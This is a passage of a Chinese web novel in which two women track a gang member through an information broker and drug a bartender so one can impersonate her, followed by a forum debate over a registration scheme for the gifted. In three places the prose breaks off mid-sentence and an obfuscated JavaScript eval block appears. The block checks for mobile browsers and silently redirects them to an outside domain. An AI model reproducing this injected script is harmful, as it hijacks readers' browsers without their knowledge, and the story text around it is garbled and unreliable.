双手刚碰到两颊,摸到湿漉漉的水迹,透明的,不是血。 我哭了? 她诧异地回头查看枕头,果真被泪水打湿了一大片。 “醒了就去洗个澡,差不多可以吃晚饭了。”扶鸢提醒她,“你睡了很久,应该也饿了。” “好。” 掀被起身,唱鹿走向浴室。 在镜子前抬起头,脸色惨白得本该把自己吓一跳,可心脏也只是一紧,没有太多反应。 她的体能在昨晚彻底耗尽,光靠睡眠补不回来。 昨天……可真是忙碌的一天。 大一早去联邦分局接受问讯,晚上又跟队出海,遭遇异种和母体的袭击。 这日子过得未免有点太过充实,没有一分钟是闲着的。 唱鹿把自己丢到浴缸里,舒舒服服地泡了个澡,然后出去吃饭。 一桌子的菜,都是扶鸢亲手烧的。 唱鹿没什么胃口,但不想辜负她的劳动成果,有一口没一口地多少吃了点。 正喝汤,听到扶鸢说:“你平时白天要上班,我也可以出去打点散工,趁机多认识几个人,或许其他就有谁曾经见过风铃。” 太过突然,唱鹿一时没听进去,下意识“嗯”了一声。 而后过了好几分钟,她才意识到扶鸢说了什么,“你想出去打工?” 扶鸢反问,“不可以吗?” “说到这个,我之前就想问你。不管是购物还是签合同,都需要验证身份信息,可你是……”唱鹿把‘玩家’两个字咽回肚子里,“怎么做到的?” “我们都有对应的载体,载体拥有从出生到死亡的所有身份信息。” “……所以在你进来之前,就已经存在‘扶鸢’这个NPC?” 32. 酒吧 032. 唱鹿头皮发麻。 这么说来,现实世界应该也存在一个‘唱鹿’! 如果有一天现实世界的‘唱鹿’的进入游戏,那她会怎么样? 意识共存,还是说直接被取代? “我知道你的忧虑,我也想过这个问题。”扶鸢沉吟,“按照规定,还有十天我就必须返回现实世界,我会尽我所能去找另一个‘唱鹿’,说服她不要进入游戏。” 唱鹿用筷子戳着碗里的青菜,心已经死了大半。 哪怕是觉醒了自我意识之后,她都没有如此绝望过。 她在这个世界拼了老命地活下去,结局竟是要被另一个自己取代…… 这样的人生,呵呵。 扶鸢不必问就知道唱鹿此刻的心情有多天崩地裂。 不管是谁遇到这种情况都会崩溃。 可这事在扶鸢看来并非全无转机,“因为坍缩污染,现实世界的生育率一直在持续下跌,直到十年前彻底归零。换句话说,我所在的那个世界已经有整整十年没有出现过新生儿了。而这十年间,依旧不断有人在死去。” 唱鹿没有回话。 她保持着那个动作,碗里的菜叶已经烂透了,还在继续不停地戳。 扶鸢继续道:“我查过资料,除去玩家的人数,游戏里的NPC数量远远超过现实世界的人口。” 听到这里,唱鹿的眼睛终于又有了光亮,“你是说……” “至少有60%以上的概率,你只是你。” 唱鹿放下碗筷,小声嘀咕道:“看来这十天也不是全然没有希望。” “十三天。”扶鸢纠正道,“我离开之后,必须经过24小时才能再次进入游戏,也就是你们的三天。” 假如十三天后,扶鸢确认现实世界还有一个‘唱鹿’。 难道她就不活了吗? “如果另一个我非要……呢?”唱鹿谨慎地避开那些关键词。 “你想我怎么做?” “你会吗?为了我。” 扶鸢的语气从未如此坚决,“只要能找到风铃,我会不惜一切代价。” 包括,杀掉另一个‘唱鹿’。 这份决心让唱鹿也有些动容,“我好像越来越喜欢你了。” 扶鸢斜睨过来,反倒开起了玩笑,“这事拓风知道吗?” 唱鹿无声地笑了下。 短短几天,她好像已经把扶鸢给带坏了。 晚饭过后,唱鹿把床单和被套拆下来换洗。 走出卫生间时,正好看到扶鸢把洗干净的抹布挂起来。 她想起一件事,“你回去了,那这里的‘你’会怎么样?” 扶鸢解释道:“我如果要回去,先得第五区报到。我的载体会一直留在那里,直到我重新进入游戏。” 第五区? 唱鹿在心中默念一遍这个名词。 这个世界被划分为三个地区,伽马、神都、福音。非要论的话,数据海也能算一个区。 至于第五区,闻所未闻,见所未见。 思忖之际,门铃响起。 唱鹿走去开门,门外站着一个男的,有点眼熟。 看身上的制服,应该是未央阁的伙计。 伙计手里捧着三个精美的盒子,一见唱鹿便弯腰问好。 又说:“这是咱们老板娘专门为您挑的神都地区的特产,请您收下。” - 夜色如醉,路上的行人来往匆匆。 这条街上开着大大小小十来家餐馆,各有特色,但当属未央阁最为显眼。 红木梁,雕花窗。 楼阁分为五层,每一层的四角飞檐下都悬挂着一个红灯笼。 每逢入夜,灯笼便会亮起烛光,将整栋楼照得更加古色古香。 这其实是神都地区最为常见的建筑风格,但放在伽马地区便尤为新鲜。 食客们都是冲着这份异域风情来的。 唱鹿和扶鸢走进未央阁时,一楼的散座已经满客。 负责上菜的伙计穿梭在百张餐桌之间,忙得脚不沾地。 空气里都是饭菜的飘香,令人食欲大动。 前台的收银迎过来,递上一把铜制的钥匙。 这把钥匙是用来控制电梯上下的,一般食客只能去一到三层,有了钥匙便能再往上走。 收银恭敬道:“我家老板娘在五楼等您。” 未央阁的电梯也和别处不同。 它用的是镌刻牡丹花的黄铜门,人在里头可以透过镂空看到外面的景象。 唱鹿把钥匙插进孔里,往右一转,四楼和五楼的按钮才凸出来。 按下五楼,电梯上行。 趁四下无人,扶鸢悄声说:“这个地方的风格很像现实世界的第一区。不过也是,公司宣传游戏是‘为了展示更美好的未来’,这里的一切自然都是以现实为蓝本构建而成。” 五楼到了。 隔着黄铜门,老板娘就坐在一张雕花红木长桌后。 她身着暗色旗袍,手持一柄长杆烟,似笑非笑地望着正走进来的两位。 “几日不见,你就有了新欢。”老板娘开口就是调戏,“真叫我好生难过~” 扶鸢眼神古怪地扫了唱鹿一眼,“你们是那种关系?” 唱鹿哽咽了下,“不是。” 老板娘摇了摇她那条毛茸茸的火红色大尾巴,尖耳朵还动了两下。 话里含笑道:“的确不是,但她连本带利欠了我三千两百七十五通用币。我呢,想让她把自己抵给我还债。” 刚说完,飘在右手边的电子账本便多了一行字: [已收到来自唱鹿的转账,共计3275通用币。] 老板娘投来埋怨的小眼神,唱鹿露出不失礼貌的假笑,“现在还清了。” “好吧好吧~”她用长杆烟在桌上轻轻叩了两下,“既然你执意要和我两清,我也不勉强留你。我可听说了,你最近惹下的麻烦不小,联邦都招呼你过去。” 不愧是伽马地区最大的情报贩子,消息真是灵通。 唱鹿在她对面坐下,“我今天来找你,也是想——” 老板娘挑眉,笑得很媚,“想让我帮你搞定联邦?” “你能?” “不试试,又怎么知道呢~” 哈,这玩意儿可不兴试。 她干咳两声,“联邦那边已经没事了。” “哦~是吗。”老板娘的红唇间吐出一缕白烟,“那你来找我有何贵干?” “我昨天在联邦分局里遇见一个人,我想让你帮我找找。” “说说看。” 唱鹿便把那人的模样形容了一遍。 “男性,兽耳族,毛色如同白雪,应该是犬属。” “年龄约莫在二十五岁左右,没有明显的生理特征,颜值中等偏上。说话嗓音不粗,有一点神都地区口音。” “还有,联邦怀疑他是刺鲸的人。” 她说完了,老板娘举着长杆烟也没说话,表情瞧不出变化。 就这么安安静静地过了一分钟,扶鸢有些耐不住,“能找到吗?” 老板娘微微一笑,“这事不难。你们两个且出去转转,一个时辰后再回来。” 唱鹿和扶鸢走出未央阁。 两人不约而同地在大门口停下,一时不知道该往哪里去。 一个时辰,也就是两个小时。 天大地大,人海茫茫,两个小时就能找到一个人? 扶鸢十分怀疑,“她真的可以吗?” “如果她不行,找其他人也没用。”唱鹿说,“老板娘的信息网覆盖了整个伽马地区,只要给钱什么都能查得到。” 有唱鹿这句话,扶鸢安心了许多。 又问:“那我们接下来要去哪儿?” “我想……”唱鹿抬头望天,“我想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931890|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回海边看看。” - 唱鹿赤脚踩在黑沙滩上。 海水朝前推进,没过她的脚踝,又悄然退去。 她已经沿着海岸线走了半个小时。 这段时间里,唱鹿一直在回想昨晚被救起后发生的事情。 一遍又一遍,尝试想起救命恩人的样貌。 可脑海里浮现的永远只有那双眼睛。 红宝石般的眼睛。 扶鸢坐在一旁的礁石上,看唱鹿一圈接一圈地环绕,最后停在眼前。 一高一低,两人对视。 通感通不了心绪。 但唱鹿的表情明显是心事重重。 扶鸢问:“想出什么了吗?” 唱鹿摇头,“我有种很不好的预感,还有一种这个世界正在脱离原有的轨道的不安。” “因为魔方?” “魔方一直都有,但最近开始出现得极为频繁。”唱鹿望向看不见的彼岸,“以前得受赐者之所以被称为受赐者,就是因为数量稀少。这个名字带着一种被选召的优越感。而现在,遍地都是受赐者。那些魔方的隶属不同,持有魔方后陷入癫狂的人,也因为各自魔方的隶属不一,信奉着不一样的神。” 扶鸢也朝地平线眺望。 “神真的存在吗?” 这个问题唱鹿也想问。 她想知道暮烟和若风到底看到了什么,听到了什么,为何会狂热地崇拜着所谓的神。 更想知道,她在获得[魔方·洞悉]后见到的场景究竟是哪里,在对话的两个人是谁…… 是不是Afkth和Ivvts? 还是其他什么更加难以理解的存在? 扶鸢的话打断了她的思绪,“你现在的样子也很痴迷。” 唱鹿心下一惊,蓦然抬头看向扶鸢。 是了。 她反复琢磨这些虚无缥缈的事,不也是一种着魔吗? 有话还没说,通讯器响起来信提示音。 是老板娘。 [找到了,速归。] - 未央阁五楼。 白毛兽耳男的全息半身像投影在三人中间。 “他叫游隼,男,今年二十六岁,曾经在一家公司里当过程序员,据说因为薪资问题,和老板大吵一架后辞职了。” “如今表面是自由职业,平日里也会接点私活赚钱。联邦怀疑得不错,他的确是刺鲸成员,地位不低,很少抛头露面。” 这个名字让唱鹿联想到另一个人,“他和游熊是什么关系?” “同父异母的亲兄弟。游隼两岁时,父母离婚。他跟着母亲生活,父亲则另娶了一名妻子,生下了弟弟游熊。”老板娘手一挥,空中出现了一个人物关系图,“两兄弟的关系不算好,直到去年才有所改善。” “为什么?” “因为他们的亲爹死了。死后不到一个月,游熊的生母也在医院病逝。”说到这里,老板娘稍微一顿,“哦对,这两兄弟的父亲也是刺鲸的一员,还是刺鲸高层干部。” “游隼被联邦扣押了吗?” “扣了一晚上,今早已经被放出来了。游隼从联邦出来后直接去了深水巷,再没有出现过。” 这可就不好办了。 联邦已经将刺鲸列入危险组织通缉名单,游隼是他们的重点怀疑目标又进过分局,放出来后必然躲起来不再露面。 见唱鹿似乎有些为难,老板娘说:“你如若没有眉目,我倒可以给你一个线索。深水巷东南角有一间酒吧,叫做Nest,至今还在营业。” 她话中有话,唱鹿也秒懂。 联邦对刺鲸进行清剿,必然会扫荡所有与它有牵扯的地方。 大川正是因为去了Nest酒吧才被招入刺鲸,联邦既然调查过大川,没理由漏掉这间酒吧。 除非…… “这间酒吧,可是某位联邦高官的私产哦。” 33. 目标 033. 联邦与刺鲸有勾结,算是一件人尽皆知的事。 以往有些联邦不方便出面的事,都是交由刺鲸去做。 甚至在部分民众的心中,刺鲸就是联邦在民间的代言人。 但既然联邦与刺鲸关系已经走到了这一步,在职官员也应该明哲保身,与刺鲸尽快割席才对。 不,还有一种可能。 对于刺鲸的处置,联邦内部分成了两个完全持不同意见的阵营。 支持清剿的占了上风,另一阵营则还庇护着刺鲸的残党……而Nest酒吧便是这动荡时期的庇护所。 线索盘到此处,唱鹿已经有了初步结论。 刺鲸的覆灭,不仅仅因为动到了蓝血的这块蛋糕。 更是联邦内部政治斗争的牺牲品。 她看向雕花红木长桌后,那位正眉眼含笑的老板娘,“高官的事,只有你知道?” 老板娘的唇角微微勾起,尽显得意之色,“倒不如说,只有我能查得到。” “现在是敏感时期,我们不好频繁出入酒吧,容易引起各方的怀疑。”唱鹿的脑海中自动生成了好几个方案,“外部不行,只能想办法打入内部。” 闻言,老板娘一笑。 她打了个响指,指尖出现一份虚拟数据。 放在桌上,推到唱鹿面前,“这是Nest酒吧目前所有在职工作人员的名单和详细背景资料,你可以从里面选个适合的人下手。” 唱鹿接过数据,点了几下,它便被录入了耳坠通讯器里。 她说:“谢谢。” 老板娘抛来一个媚眼,“以你我的情分,何须言谢。” 扶鸢紧接着道:“然后我们还得想办法接近游隼。” 这一点唱鹿也考虑到了,“我们可以假扮成游熊,但得先确认游隼知不知道游熊已经死了。” “根据我的情报来看,他并不知道。”老板娘吸了口烟,“游熊的尸体被联邦回收至今还未对外公布死讯,而游隼是在游熊死亡的次日被联邦分局逮捕。联邦放长线钓大鱼的做派,他们绝对不会把游熊被杀之事告知游隼。在这世上,死人有时比活人更有利用价值。” “那不就可以……” “不,不行。”唱鹿打断扶鸢的话,“游熊是追月族,你和我都是自然人,种族特征没办法模仿。” 扶鸢沉吟片刻,“我们不用和他见面。只要让声音听起来像游熊,能把游隼骗出来就行。” “扶小姐也是个聪明人。” 老板娘说完,又一抬手。 另一份虚拟数据落在她的指尖,“正巧,上个月游熊曾经来未央阁与我做过交易。这是他的声音数据,尽管拿去用,不必与我客气。” 唱鹿诧异,“还有什么是你没有的?” “可多了呢~”老板娘嗓音娇媚,“比如,你的心。” 完了完了。 这人又开始了。 唱鹿连忙起身,拉着扶鸢就要走。 “稍等。”老板娘喊住她们,“扶小姐,可否留下与我私聊片刻?” * 现在是凌晨三点。 Nest酒吧正门五彩斑斓的艳俗霓虹灯终于熄灭了,酒吧内只剩几个工作人员在打扫卫生。 天未亮,深水巷里很少有行人了。 偶而路过的也是彻夜不归的醉鬼,或无家可归的流浪汉。 巷子里的常客变成了老鼠。 它们从下水道里钻出来,悉悉索索地翻动着街角的垃圾。 此时此刻,唱鹿和扶鸢正蹲守在离深水巷直线距离一百米不到的居民楼楼顶。 扶鸢手持望远镜,一刻不落地紧盯Nest酒吧。 唱鹿坐在她脚边,阖眼小憩。 她的内伤还未痊愈,呼吸间还是会感觉肺腑隐隐地疼痛。 昨晚回家后,扶鸢已经为她注射了一支愈合剂,只能说作用不大。 痛觉是共享的。 她痛,扶鸢也能感觉到。 “这次就我去吧。”扶鸢说,“你的内伤估计一时半会好不了,得好好养着。” “你可以?” “我会调酒,更不容易露馅。” 她们锁定的标对象是Nest酒吧的调酒师,名叫淮娜。 根据老板娘给的资料,淮娜已经在Nest酒吧工作了三年,从未迟到早退,也没请过病假,堪称酒吧最佳员工,深受老板的喜爱。 当然,是表面上的那位老板。 酒友们也很喜欢淮娜。 她为人风趣,善于讲笑话,调酒的手艺也不错,入职后为酒吧吸引了不少新的客人。 这些都是次要。 唱鹿之所以选中淮娜,主要是看中了她的身高体型。 唱鹿和扶鸢都有一米七三高,体重最近没量过,但目测差不多。 淮娜比她们矮了两公分,更瘦一些。 三方的外形轮廓相似。 因此不管是唱鹿自己上,还是让扶鸢去,淮娜都是最佳选择。 “她出来了。”扶鸢把望远镜递给唱鹿,“按计划行动?” “嗯。” “好,那我先去了。” - “我走咯,拜拜。” “拜拜~” 淮娜从Nest酒吧的后门出来,手里还提着一袋垃圾。 她一路走出深水巷,把垃圾丢到街角的回收点里,惊扰了一群正在翻垃圾的老鼠。 离开深水巷后,淮娜进了附近的一家连锁超市。 她挑选了很多速食食品,还有一整盒二十只装的咖啡味营养剂。 十五分钟后,淮娜沿着空无一人的街道,独自提着大袋小袋,往候车站走去。 带着下班后的轻松愉悦,她哼起了一首流行歌。 可当看到前方五米的路灯下靠着一个人时,淮娜的心情就没那么好了。 工作三年,这条路也走了三年。 这个时间,这个地点。 她见过酒鬼,见过黑/帮,见过暴露狂,还是头一回见到这种戴着伪装面具的人。 这人把自己包裹得严严实实。 面具遮住脸,兜帽盖着头发,戴了黑色皮手套的双手交叉放在胸前。 那副没有任何花纹的面具朝向着淮娜,身体却一动不动。 有种守株待兔的意味。 淮娜心中顿时升起一股不安感。 她在酒吧工作,小道消息最是灵通。 时常听到酒友聊起,说这些戴伪装面具的人绝非善茬,遇见了非死即伤,就连联邦也格外关注这类人。 她可不想死! 淮娜先是后退,再小心翼翼地转身。 岂料一回头,另一个戴面具人的人已经站在身后。 左右无路,前后都有危险。 淮娜惊叫一声,吓得手软,购物袋掉到了地上。 淮娜正想放声大喊救命,一只手从身后捂住她的口鼻。 冰冷的针管刺进了她的脖颈里。 “抱歉,但我不会伤害你。” 面具人在她耳边轻轻地说,声音听不出性别。 迷药生效了。 淮娜的视线变得模糊,四肢软绵无力,瘫倒在那人怀里。 * 陷入昏迷的女人被放在一张手术台上。 头顶的照灯直射她的脸,光线如此刺眼,还是没能把她唤醒。 一只戴着医疗手套的右手掰开她的眼皮,用仪器记录下了她的虹膜数据。 唱鹿坐在一旁。 她看着庸医把记录仪连上一台造型奇特的机器,操作几下后,机器旋即运作起来。 既然要伪装,就必须伪装到位。 外貌,指纹,虹膜,能复制的都要复制下来。 前两样都备好了。 液体人皮面具,仿真指纹。 现在庸医制作的是拥有淮娜虹膜数据的美瞳。 十分钟后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938466|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她把装有美瞳的小瓶子交给唱鹿。 “每天用完记得放回瓶子里,只能用五天,五天后必须重新再做一副。” “五天,足够了。” 庸医还穿着那身脏兮兮的白大褂。 她顶着鸡窝头,两手揣在兜里,紫罗兰色的双瞳注视着唱鹿。 唱鹿以为庸医是想问把淮娜弄到她这里来搞这些准备搞什么幺蛾子,还提前想好了应付的话术。 结果庸医说:“把手伸出来。” 唱鹿依言照做,庸医搭上她的脉。 片刻后,庸医皱起眉头,“你受了足以致死的内伤。” 从庸医的表情里,唱鹿看出了深深疑惑。 足以致死,但还没死。 奇迹般地活了下来,坐在她眼前。 唱鹿说:“我在数据海海底遇见了母体,也算死过一次了。” 庸医放开她的手,转身去摆弄方桌上的药罐子,“等你死了,记得叫人把尸体送过来。 “等我死了,我的尸体会自己给你打电话。” “……” 短暂的无语过后,庸医有点幸灾乐祸,“你现在这副模样和尸体没什么区别。” 唱鹿眨眨眼,“医生,你看我还有救吗?” 这句话不禁让庸医汗毛倒竖。 初次见面时,唱鹿也用同样的表情说过类似的话。 当时,唱鹿拿枪抵着她。 而这次。 唱鹿没有武器,只是歪头看着她。 眼神比枪还有威胁性。 “有救有救。”庸医忙不迭地应道,“我这人最擅长救治将死之人,你也知道。” 说完,她摸出一个药罐,用针管吸出一半药剂,再打进唱鹿体内。 看着药剂被缓缓推进血管里,唱鹿说:“在你这里,我总是感觉不到痛。” 庸医谄笑,“距离我两百米以内的所有生物都会失去痛觉。” “只有痛觉?” “对,其他感觉都在。”庸医说,“我可以在一个人意识清醒时帮他动手术,他还能感觉到我的手术刀在切割他的身体,但没有任何疼痛。” “包括他死的时候?” 庸医没答话,默认了。 唱鹿望向手术台。 不知道有多少人曾在这上面悄无声息地死去。 这个赐福很适合一个医生。 也很适合一个刽子手。 事情办完了,庸医问道:“这姑娘你打算怎么处置?” “先放你这里。”唱鹿说,“记得定时给她注射麻醉,保证她在这期间不要醒过来。用量要小心,不要把人弄成傻子了。” 庸医抓了一把乱糟糟的头发。 听到要定时定量‘关照’这个女人,她的黑眼圈似乎又加重了,“真麻烦,不干脆解决了?” 唱鹿摇头,“无冤无仇,我没有伤害她的道理。” 说完,想起另一件事,“你带走大川的尸体也有一段时日了,研究出什么了吗?” “有一个小小的发现,说给你听也无妨。我在尸体上发现了一种不属于正常生物的微小细胞,这种细胞在宿主死去之后还在不断分裂生长。我现在有几个猜想,还没得到验证,需要等其他合作伙伴把样本送来对比才能有结果。” “对了,我想修改一下我们之前谈好的合作条件。” 先前庸医是说: 任何时间,任何地点,我都可以为你提供医疗支援。作为交换,如果你杀了受赐者,不管什么类型,记得联系我。 唱鹿沉默了片刻,“你想怎么改?” “我依旧为你提供医疗支援,作为交换,如果你杀了受赐者,或者是异种,不管什么类型,我都要。” “异种死后会立即化作液体消失。”唱鹿杀过无数异种,它们死后从未留下尸体。 “以前是。” 庸医从口袋里掏出一枚子弹,放到唱鹿手边。 “现在不会了。” 34. 有缘 034. 天方微亮,又下起了小雨。 一小型中档住宅区的门卫正在打盹。 唱鹿在雨幕中缓缓走向住宅区大门。 她一身深色防水外套,大半个脑袋藏在兜帽之下,叫人看不清面容。 经过门卫室时,门卫忽然惊醒,朝她吼了一句,“做什么的!” 唱鹿早有准备。 她举起手里的袋子,上面印着‘未央阁’的标志,“外卖。” 门卫挠挠脑门,睡眼惺忪。 他还没完全醒来,但记得确实有一个住户经常在这个时间段点外卖,“进去吧。” 少时,唱鹿便站在了淮娜的家门前。 她对门轻叩三下,又停一下,再重叩两下。 对上暗号,扶鸢悄然为她开门。 淮娜住的这套房子是她早逝的双亲留下的遗产。 房内整洁干净,看得出主人很爱惜。 方才把淮娜放倒之后,唱鹿和扶鸢便分开行动。 唱鹿去找庸医,扶鸢则换上淮娜的衣服,假扮成刚下班的淮娜回了家。 “液体人皮面具,你戴上后它会自动塑形成淮娜的五官。” “仿真指纹,十指都有。” “美瞳只能用五天,每天用完要泡回瓶子里。” 唱把东西逐一放在桌上,又说:“今天开始你就必须住在这里了。” 扶鸢拿起装着美瞳的玻璃瓶,一面端详着,一面道:“我或许应该表现得高兴一点。” “为什么?” “终于不用睡沙发了。” “那我可要好好恭喜你。” “多谢。” 唱鹿低声一笑,环视这间房子一周,视线落在客厅的右手边。 淮娜必定很热爱她的工作,竟然在家里安装了一个小型吧台,吧台后还有一墙的酒。 唱鹿踱步走到吧台边,坐上高脚椅,轻敲桌面,“口头上道谢,不如调杯酒来尝尝。” 扶鸢挽起袖子,“乐意至极。” 选酒杯,切冰块,摇和。 一杯三色分层的鸡尾酒被推到唱鹿面前。 扶鸢的调酒技术十分娴熟,就连唱鹿这个外行都看得出来,“以前经常喝酒?” “不喝。” 唱鹿可不信。 扶鸢又说:“我是为了生计。” “说来听听。” “酒精在现实世界非常受欢迎。坍缩污染的影响越来越大,已经严重到无法忽视的程度。人们焦虑,但无能为力。酒精能让人从这种慌乱无措中暂时解脱,就像重病之人的止痛剂一样。不过现在出现了一种更令人上瘾的东西。” 唱鹿举杯浅尝一口酒。 她很清楚扶鸢说的是什么,只是轻哂,没有点破。 另一种更令人上瘾的东西—— 一款名为《虚拟乌托邦》的全息游戏。 既然现实世界如此令人绝望,那便把灵魂流放到游戏世界。 扶鸢也为自己调了一杯酒。 她举杯示意唱鹿,“预祝我顺利找到风铃。” 酒杯相碰杯,发出清脆的鸣响。 唱鹿说:“也预祝我找到答案。” * 短暂休息后的第一个工作日总是格外痛苦。 安保队近来接到的任务都是联邦下派的,十个里有九个和刺鲸相关。 有了上次的教训,领队为保唱鹿平安,只给她分一些不痛不痒的安排。 正好唱鹿还需要时间疗养内伤,能当咸鱼时绝不做出头鸟。 一闲下来,察觉到队内氛围不大对。 她随便找了个人来问,原来是领队即将要被联邦挖走的消息已经在私底下传开了。 都知道领队纵使去了联邦也会关照他们。 也清楚唱鹿会是下一任领队,大家都心服口服。 可在一起工作了这么多个纪年,领队突然要走,难免引起失落。 唱鹿对此事没有发表任何看法。 一来,领队还没亲自宣布要走,事情或许尚有转还的余地。 二来,她真的不想当领导。 一天工作结束,唱鹿回家换了身衣服,去未央阁用过晚饭后,又朝深水巷而去。 Nest酒吧的营业时间是晚上八点到凌晨两点。 员工必须提前一小时到岗,对外营业结束后需要打扫一小时才能下班。 唱鹿守在酒吧对面居民楼的楼顶。 她眼看着假扮成淮娜的扶鸢准时在七点整打卡上班,六个小时后打卡下班,再回家睡觉。 第一天,无事发生。 第二天,酒吧里有人打架斗殴。其中一名是受赐者,用赐福把酒吧的大门劈成了两半,导致酒吧不得不提前结束营业。 此事上了第三天的联邦晨间新闻。 主持人在镜头里表示,联邦有意推行赐福登记制度,用以统计现有受赐者的数量,并制订相应的法律对其行为进行约束。 这则新闻在伽马地区引起了轩然大波。 [给大伙儿整点活儿]论坛的闲聊版块里全是与之相关的讨论贴。 对联邦即将推进的赐福登记制度,有人支持,也有人反对。 双方各执一词,吵得不可开交,每个帖子都盖了几百层的高楼。 今夜守得百无聊赖,唱鹿打开论坛,点进了最顶上的帖子。 [标题:理性讨论,联邦此举究竟是何用意?] [首楼:今早的新闻想必诸位也看了,联邦要在伽马地区推行赐福登记制度,今后每个受赐者都要纪录在案,不知道大伙儿怎么看?] [1L:我现在就想知道七贤和教团也做了这种(脏话消音)的决策吗?有没有神都和福音的大佬现身说法!] [4L:神都土著,暂时没听到风声。] [7L:我是福音的,教团也没动静。] 所谓七贤和教团,即为神都地区和福音地区的执政方。 相当于伽马地区的联邦。 [10L:敢问在座各位有几个是受赐者?这么急得跳脚,难道是先前用赐福做过违法犯罪的勾当,才这么怕被联邦查出来?] [11L:不是受赐者就不能反对了?我不是,我也觉得联邦出台这种政策不合理。这点上就不如另外两个地区。] [15L→11L:外区的月亮更圆是吧?不爽建议直接换个地区住。] [32L:我是联邦在职人员,关于赐福登记制度,我想我有资格说几句。根据联邦的统计,目前受赐者正在逐步上升,相信诸位也体会到了。同时有另一条数据显示,成为受赐者之后遇难的概率也在直线提升。换句话说,受赐者数量的增加,诚然是为世界发展提供新的可能性,但也换来了世界秩序的不稳定。联邦想做的是约束,而非禁止。] [36L:支持联邦!有多少受赐者正在滥用赐福?你们既然受到眷顾,就做善事应当回馈世界,而不是为所欲为!] [40L→32L:说得那么好听,平日里的犯罪事件那么多,也没见联邦出手啊!] [48L→40L:开门,□□。] 十秒后,40L被删除。 [57L:联邦的出发点是好的,我支持。但我很好奇,‘成为受赐者之后遇难的概率也在直线提升’,是指成为受赐者之后容易被杀?但你又说,‘联邦不希望受赐者利用自身赐福去危害普通居民’,前后矛盾。] [60L→57L:这人不是联邦的,他扯谎呢!] [64L→32L:骗人死全家!] [72L→57L:不是前后矛盾,而是春秋笔法。你换个思路,如果说杀害受赐者和普通居民的都是受赐者呢?据我所知,赐福可不是什么看不见摸不着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943509|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的东西,是真的能被夺走。] [88L→72L:赐福还能被夺走?!什么意思,能不能说明白点?] [93L:按照72L的说法,赐福是一种物品,受赐者为了争夺赐福在自相残杀。] [101L→72L:你搁这儿编故事呢,要真是你说的这样,人人都能成为受赐者,不得天下大乱了?] 十秒后,72L、88L、93L被删除。 [119L:怎么回事?楼上说了什么怎么都没了?] [123L:???] [124L:谜语人滚出论坛!] [127L:联邦下场了?小破论坛出息了啊!] 看到这里,唱鹿不自觉眉头紧锁。 因为魔方自带的相吸与互斥,受赐者的确可以感觉到对方的存在。 如果其中一方心存歹念……93L说得对,肯定有受赐者为了争夺赐福在猎杀其他受赐者。 但也正如40L讽刺的那样,一般犯罪事件联邦不会管。 突然间宣布推行赐福登记制度,与其说想要约束受赐者的犯罪行为,倒不如说是一场巨大的实验。 记录在案的魔方的依旧在流通。 普通人可以成为受赐者,已经成为受赐者的还能继续夺取他人的魔方。 相吸的魔方在同一个人手里会怎样? 相斥的魔方在同一个人手里又会怎样? 只要样本够多,联邦就能通过这一政策彻底掌握魔方的特性。 这便是登记,而非回收。 整个伽马地区将会成为一个巨大实验场,所有民众都是小白鼠。 唱鹿后背发寒。 她一向知道联邦不是什么伟光正的形象。 从大张旗鼓清剿刺鲸这件事就能看出来,联邦很懂如何卸磨杀驴。 必须想办法避开联邦的登记。 可如果联邦挨家挨户检测,她又该如何逃避……逃得过今天,也逃不过明天。 除非移民到另外两个地区。 神都地区和福音地区暂时还没有推行类似的政策。 暂时,保不定今后也会。 唱鹿现下思绪很乱。 她的手指继续往下滑动,一刷新,提示弹出来: [该帖因违反论坛规则已被删除!] 自动切回了闲聊板块首页。 首页更热闹了。 不断有旧贴被删除,又不断有新帖出现。 一片混乱中,唱鹿被一个帖子吸引。 [标题:如果你知道那是什么,你会点进来。] 那是……魔方? 唱鹿鬼使神差地点了进去。 [首楼:命运指引我们在此相遇,有缘人。我会在这里分享我的发现,也希望你们能留下你们的发现。第一,它们具有某种程度上的人性。如果你拥有,你会清楚地感觉到你的和别人的存在某种吸引力,或者是排斥力。就像人和人之间的关系,你会喜欢某个人,你也会讨厌某个人。第二,它们不仅存在于梦境,我已经见过三个以上的人不是因为梦境获得它们。第三,它们会不断腐蚀人的意志力。] 前两点,唱鹿早有察觉,快速浏览过去。 读完第三点,她的心猛地咯噔了一下。 两张脸在脑海里一晃而过。 是暮烟,是若亚。 底下还没人回复,她飞速敲下一行字: [1L你鹿姐:腐蚀人的意志力具体是指什么?] 等待不到半秒,有了回应。 [楼主→1L:想要让你手上的东西发挥最大的功效,你就必须接受这种腐蚀,同化为命途的一部分。] 唱鹿刚想回帖,整个帖子又被删除了。 